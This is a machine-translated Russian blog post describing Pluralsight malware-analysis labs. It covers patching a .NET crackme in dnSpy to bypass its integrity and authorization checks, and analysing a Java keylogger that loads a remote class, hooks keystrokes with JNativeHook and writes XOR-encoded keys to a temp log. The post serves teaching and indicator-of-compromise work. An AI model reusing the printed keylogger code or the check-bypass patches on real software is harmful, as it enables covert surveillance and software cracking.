Этот пост служит описанием практических упражнений, предлагаемых в Pluralsight’s Анализ вредоносных программ для .Двоичные файлы NET и Java курс.
Курс охватывает инструменты и методы анализа вредоносного программного обеспечения, разработанного для .Платформы NET и JVM. Эти инструменты включают в себя
- dnSpy – дизассемблер, декомпилятор и отладчик .NET. Эта утилита может принимать PE (Переносимые исполняемые файлы) в качестве входных данных и раскрывать базовый общий промежуточный язык, а также код более высокого уровня (C#, Visual Basic). dnS py также может функционировать как отладчик.
- Средство просмотра байт-кода – пакет обратного инжиниринга (дизассемблер, декомпилятор, отладчик) для платформы JVM.
Первые шаги
Первое упражнение, включенное в этот курс, представляет собой не вредоносную программу, написанную для платформы .NET, которая содержит “флаг” – адрес электронной почты. Дизассемблировать и декомпилировать программное обеспечение в dnS py так же просто, как просто открыть Переносимый исполняемый файл ( .exe
) внутри программы.
При этом раскрывается структура сборки, визуально очень похожая на Visual Studio. Как мы видим, наша сборка состоит из трех проектов
PS_DotNet_Lab1
PS_DotNet_Lab1.App_Code
PS_DotNet_Lab1.Свойства
каждый из них содержит несколько классов. В первую очередь мы должны найти точку входа в программу. Я изучаю класс Program
и нахожу функцию Main()
.
namespace PS_DotNet_Lab1 { // Token: 0x02000004 RID: 4 internal static class Program { // Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C [STAThread] private static void Main() { bool flag = Verification.App_Startup(); if (flag) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Client()); } else { MessageBox.Show("Try Again :)"); } } } }
Простой запуск программы показывает окно сообщения с сообщением “Попробуйте еще раз:)”, которое указывает, что переменная flag
изначально false
. Чтобы понять логику, лежащую в основе этого значения, необходимо изучить функцию App_Startup()
(расположенную в классе Verification
).
namespace PS_DotNet_Lab1 { // Token: 0x02000002 RID: 2 public static class Verification { // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250 private static string create_md5(string filename) { string result; using (MD5 md = MD5.Create()) { using (FileStream fileStream = File.OpenRead(filename)) { result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "").ToLowerInvariant(); } } return result; } // Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4 public static bool App_Startup() { bool result; try { Settings settings = new Settings(); string check = settings.check1; string b = Verification.create_md5("PS_DotNet_Lab1.exe"); bool flag = check != b; if (flag) { result = false; } else { result = true; } } catch { result = false; } return result; } } }
Глядя на App_Startup()
и create_md5()
методы, у меня создается впечатление, что программа проверяет свою собственную целостность с помощью хэша MD5. Свойство Settings.check 1
имеет Значение параметра по умолчанию
атрибут, установленный для определенного хэша MD5.
Теперь давайте начнем изменять код, чтобы попытаться обойти эти проверки. Щелчок правой кнопкой мыши в любом месте метода дает нам возможность отредактировать его. Я просто изменяю метод App_Startup()
, чтобы он всегда возвращал true
вместо результата переменная. После нажатия кнопки Сохраните все , я создаю новую версию нашего исполняемого файла с нашим измененным кодом, скомпилированным в нем. Запустив этот новый исполняемый файл, я подтверждаю, что проверки хэширования были обойдены. Щелчок по кнопке Кнопка Authenticate вводит счетчик попыток. Прежде чем у меня закончатся допустимые попытки (после которых программа больше никогда не запускается), я смотрю на класс
Client
, который содержит основные обратные вызовы приложения Windows Forms. Я специально обращаю внимание на метод button1_Click()
.
// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0 private void button1_Click(object sender, EventArgs e) { bool flag = !Authentication.isAuthorized(); if (flag) { this.txtOutputLog.AppendText("Invalid Attempt - You have " + this.maxAttempts + " attempts left\n"); bool flag2 = this.maxAttempts == 0U; if (flag2) { RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("PS_DotNet_Lab1"); registryKey.SetValue("Challenge1", "1"); registryKey.Close(); Application.Exit(); } this.maxAttempts -= 1U; } else { this.txtOutputLog.Clear(); this.lblMessage.Text = "You got it! " + Authentication.returnEmailAddress(); RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("PS_DotNet_Lab1"); bool flag3 = registryKey2 != null; if (flag3) { object value = registryKey2.GetValue("Challenge1"); bool flag4 = value != null; if (flag4) { registryKey2.DeleteSubKey("Challenge1"); } registryKey2.Close(); } } }
Кажется, мы близки к нашей цели. Программное обеспечение, похоже, проверяет авторизацию с помощью метода isAuthorized()
и, если это так, отображает “флаг” электронной почты. Я продолжаю, изменяя метод так, чтобы переменная flag
всегда была false
и не зависит от авторизации.
Это оно. Это показывает наш желаемый флаг.
Примечание: Одной из целей анализа вредоносных программ является поиск признаков компрометации (IOC) – подсказки, указывающие на то, что данная машина была заражена. Как показывает декомпилированный код, это программное обеспечение изменяет реестр Windows и создает подраздел PS_DotNet_Lab 1
. Наличие указанного ключа в редакторе реестра ( regedit.exe
) может функционировать как IOC.
Альтернативный способ
После моего первого изучения декомпилированного исходного кода я нашел метод, который фактически генерирует адрес электронной почты. Однако флаг не сохранялся просто в виде строки, использовалась техника антианализа , называемая запутыванием . Рассматриваемый метод находится в классе Authorization
и вызывается return Email Address()
. Вот выдержка из урока:
public static string returnEmailAddress() { string text = ""; foreach (char c in Authentication.addy) { text += c.ToString(); } return text; } // Token: 0x04000009 RID: 9 private static byte[] addy = new byte[] { 53, 102, 54, 104, 56, 57, 100, 115, 117, 64, 48, 120, 101, 118, 105, 108, 99, 48, 100, 101, 46, 99, 111, 109, 46, 99, 111, 109 };
Таким образом, другим вариантом получения вашего адреса электронной почты было бы скопировать этот код, запустить его в нашей собственной среде и получить результирующую строку. Тем не менее, я решил попробовать открыть полное приложение Windows Forms для дополнительного интереса.
Второе упражнение
Следующее практическое задание, предлагаемое в курсе, – это Java-приложение, которое не содержит никаких флагов. Образец, который необходимо проанализировать, поставляется в виде пакета .jar
, который можно открыть изнутри Средство просмотра байт-кода .
Для того, чтобы проанализировать логику программы, нам нужно найти ее точку входа – функцию main()
. Его можно найти в классе ResourceLoader
, который также включает в себя множество, казалось бы, случайных строковых объектов, большинство из которых, по-видимому, не нужны (ненужный код – это еще один метод антианализа ).
public static void main(String[] args) throws ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException, SecurityException, NoSuchMethodException, IOException { URL[] classLoaderUrls = new URL[]{new URL(g.c + g.cc + gg.m + dgressdf.xx + gg.mm + dgressdf.x)}; ClassLoader jceClassLoader = new URLClassLoader(classLoaderUrls, (ClassLoader)null); Thread.currentThread().setContextClassLoader(jceClassLoader); Class c = jceClassLoader.loadClass("com.jrockit.drive.introspection2"); Method main = c.getMethod("main", args.getClass()); main.invoke((Object)null, args); }
Можно видеть, что этот метод служит просто для извлечения реального main()
метода из introspection2.jar
пакет. Я использовал программное обеспечение для архивирования, чтобы извлечь пакет и передать его в программу просмотра байт-кода.
Примечание: Другой внутренний .jar
посылка присутствовала – jnativehook.jar
. При взгляде на его классы кажется, что он принадлежит библиотеке JNativeHook , которую вредоносная программа использует для прослушивания нажатий клавиш.
Класс introspection 2
, по-видимому, содержит основную вредоносную логику, его точка входа main()
метод содержит следующую строку
GlobalScreen.addNativeKeyListener(new introspection2());
Это побуждает нас обратить внимание на конструктор класса:
public introspection2() throws IOException { File file = new File(System.getProperty("java.io.tmpdir") + "JavaDeploy.log"); if (!file.exists()) { file.createNewFile(); } this.fw = new FileWriter(file.getAbsoluteFile(), true); this.bw = new BufferedWriter(this.fw); }
Очевидно, что вредоносная ПРОГРАММА ищет временный каталог и создает файл с именем Развертывание Java.log внутри него. Это наш индикатор компрометации
Для того, чтобы работать с JNativeHook |/, класс реализует интерфейс
NativeKeyListener . Более конкретно, я обращаю внимание на метод
nativeKeyPressed() :
public void nativeKeyPressed(NativeKeyEvent e) { try { this.bw.write(e.getKeyCode() ^ 151); this.bw.flush(); } catch (IOException var4) { } if (e.getKeyCode() == 1) { try { GlobalScreen.unregisterNativeHook(); } catch (NativeHookException var3) { var3.printStackTrace(); } } }
Теперь мы можем видеть точный механизм, который использует эта конкретная вредоносная программа (более конкретно, keylogger ). Чтобы запутать свои выходные данные, он преобразует зарегистрированные символы в XOR с определенным номером (151).
Оригинал: “https://dev.to/n_babajanyan/malware-analysis-with-net-and-java-m51”